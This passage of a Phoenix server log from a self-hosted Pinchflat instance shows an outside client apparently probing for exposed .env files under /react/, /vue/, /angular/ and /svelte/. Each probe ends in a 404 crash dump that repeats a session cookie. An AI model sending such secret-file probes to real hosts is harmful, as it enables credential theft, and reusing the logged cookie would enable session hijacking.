/react/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /react/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/react/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 132, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3436.0>, params: %{}, path_info: ["react", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/react/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6sgg2KM_IR8AASDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/react/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 132, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /react/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/react/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 132, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:18.175 [info] GET /vue/.env 02:10:18.176 [debug] QUERY OK source="settings" db=0.3ms idle=169.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.176 [debug] QUERY OK source="settings" db=0.1ms idle=111.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.176 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.177 [error] #PID<0.3437.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 133) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /vue/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vue/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vue/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 133, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3437.0>, params: %{}, path_info: ["vue", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/vue/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6sto7gyDHRgAASEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vue/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 133, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vue/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vue/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 133, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:18.231 [info] GET /angular/.env 02:10:18.232 [debug] QUERY OK source="settings" db=0.4ms idle=166.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.232 [debug] QUERY OK source="settings" db=0.2ms idle=111.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.233 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.233 [error] #PID<0.3438.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 134) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /angular/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /angular/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/angular/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 134, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3438.0>, params: %{}, path_info: ["angular", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/angular/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6s65bDD0McQAASFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/angular/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 134, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /angular/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/angular/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 134, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:18.292 [info] GET /svelte/.env 02:10:18.293 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=171.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.294 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=117.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.294 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.295 [error] #PID<0.3439.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 135) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /svelte/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /svelte/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/svelte/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 135, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3439.0>, params: %{}, path_info: ["svelte", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", 